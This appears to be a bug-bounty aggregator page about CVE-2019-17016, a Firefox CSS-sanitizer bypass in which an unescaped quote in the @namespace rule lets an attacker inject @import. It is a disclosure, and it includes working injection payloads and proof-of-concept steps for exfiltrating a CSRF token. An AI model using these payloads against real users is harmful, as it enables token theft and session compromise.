Skip to content
XSS Disclosed report Advanced CVE-2019-17016

Bypass of CSS Sanitizer via incorrect serialization of CSS @namespace rule.

Firefox's CSS sanitizer for pasted <style> tags incorrectly rewrites the @namespace rule, failing to escape a quote character in the namespace URL. This allows an attacker to inject arbitrary CSS rules, including @import, which can be used to exfiltrate data such as a CSRF token from a page with a contenteditable element.

Michał Bentkowski Follow

Originally disclosed on Mozilla

  • Fixed in 16 days
  • Paid in 42 days
  • Disclosed after 16 days
Text
I've been recently researching the security of copy&paste in various browsers and noticed that Firefox perform CSS sanitization on <style> tags pasted from clipboard. The sanitizer could be abused in such a way that arbitrary CSS rules might be specified, allowing to data exfiltration attack.

In a nutshell, a <style> tag is pasted verbatim if the sanitizer decides that it doesn't contain any harmful content. Otherwise it rewrites the stylesheet, and gets rid of certain rules. Please follow the examples below to see how I came up with the exploit:

Example 1
INPUT: *{background:red}
SANITIZED OUTPUT: *{background:red}
COMMENT: The style is copied verbatim as it doesn't have any malicious rules.

Example 2:
INPUT: @import 'abc';*{background:red}
SANITIZED OUTPUT: * { background: red none repeat scroll 0% 0%; }
COMMENT: @import at-rule is disallowed, hence the CSS was rewritten.

Example 3
INPUT: @import'abc';@namespace x 'aa';*{background:#eee}
SANITIZED OUTPUT: @namespace x url("aa");* { background: rgb(238, 238, 238) none repeat scroll 0% 0%; }
COMMENT: @namespace at-rule, on the other hand, is allowed. The URL of the namespace was rewritten from '...' syntax to url("...") syntax. At this point I had an idea that perhaps a quote character within the URL wouldn't be escaped when rewritten to the url("...") syntax.

Example 4
INPUT: @import'abc';@namespace x 'a"bc';*{background:#eee}
SANITIZED OUTPUT: @namespace x url("a"bc");* { background: rgb(238, 238, 238) none repeat scroll 0% 0%; }
COMMENT: Please note the unescaped quote in the namespace URL. This means that arbitrary CSS rules can be injected - even @import!

Example 5
INPUT: @import'abc';@namespace x 'a"x);@import "data:text/css,*{background:blue}";';
SANITIZED OUTPUT: @namespace x url("a"x);@import "data:text/css,*{background:blue}";");
COMMENT: I'm injecting @import at-rule with data: URI to prove the vulnerability. At first sight it may appear as if the @import wouldn't execute since it follows @namespace which is disallowed. However, @namespace currently has an incorrect syntax (there's an "x" character right after closing quote), and is ignored by the CSS parser (as it was never there). @import is then treated as first valid rule of the CSS.

Example 6
INPUT: @import'abc';*{background: url('aaa"bbb')}
SANITIZED OUTPUT: * { background: rgba(0, 0, 0, 0) url("aaa\"bbb") repeat scroll 0% 0%; }
COMMENT: Interestingly, the same problem doesn't happen in other contexts where rules are rewritten. This example shows that the URL of background is rewritten with proper escaping.

To summarize: because of improper rewriting of @namespace rule, it's possible to inject arbitrary CSS style.


PROOF OF CONCEPT:
I have prepared a PoC which exfiltrates CSS token from a hidden input using this very technique. The scenario is that the page contains a rich editor (i.e. a contenteditable element on the page) and the user just pastes the malicious content from clipboard. Because of some quirks in implementation of the attack, it requires HTTP/2, so it's first needed to create self-signed certificates:


1. Save css-exfiltration-firefox.js and vulnerable-page.html to some directory
2. openssl req -x509 -newkey rsa:2048 -nodes -sha256 -subj '/CN=localhost'  -keyout localhost-privkey.pem -out localhost-cert.pem
3. npm install express spdy
4. node css-exfiltration-firefox.js
5. Open Firefox and navigate to both https://localhost:3000 and https://127.0.0.1:3000 and trust the certificate.
6. Go to https://localhost:3000 and press "Copy".
7. Go to vulnerable page and paste it in the contenteditable box.
8. See how the CSRF token is exfiltrated :)

I will also attach the video of the attack.

The original report as published on Mozilla's Bugzilla, by Michał Bentkowski. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the sanitizer's serialization of the @namespace rule fails to escape double quotes within the namespace URL, allowing an attacker to break out of the url() context and inject arbitrary CSS rules.

Impact

An attacker could exfiltrate sensitive data such as a CSRF token from a page with a contenteditable element when a user pastes malicious content, but the attack requires HTTP/2 and specific setup.

What the attacker needed

Firefox browser; User pastes malicious content into a contenteditable element; HTTP/2 support; Self-signed certificates trusted

How it was found

  1. Save the provided JavaScript and HTML files to a directory.
  2. Generate self-signed certificates using openssl.
  3. Install express and spdy via npm.
  4. Run the Node.js server script.
  5. Open Firefox and trust the certificates for localhost and 127.0.0.1.
  6. Navigate to the page, press 'Copy', then paste into the contenteditable box on the vulnerable page to see the CSRF token exfiltrated.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you paste styled text into a web page, Firefox cleans up the CSS to remove dangerous rules. The cleaner had a bug: it didn't properly handle a special rule called @namespace, so a crafted paste could sneak in malicious CSS. That malicious CSS could then steal information from the page, like a secret token.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Michał Bentkowski

View all

15 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.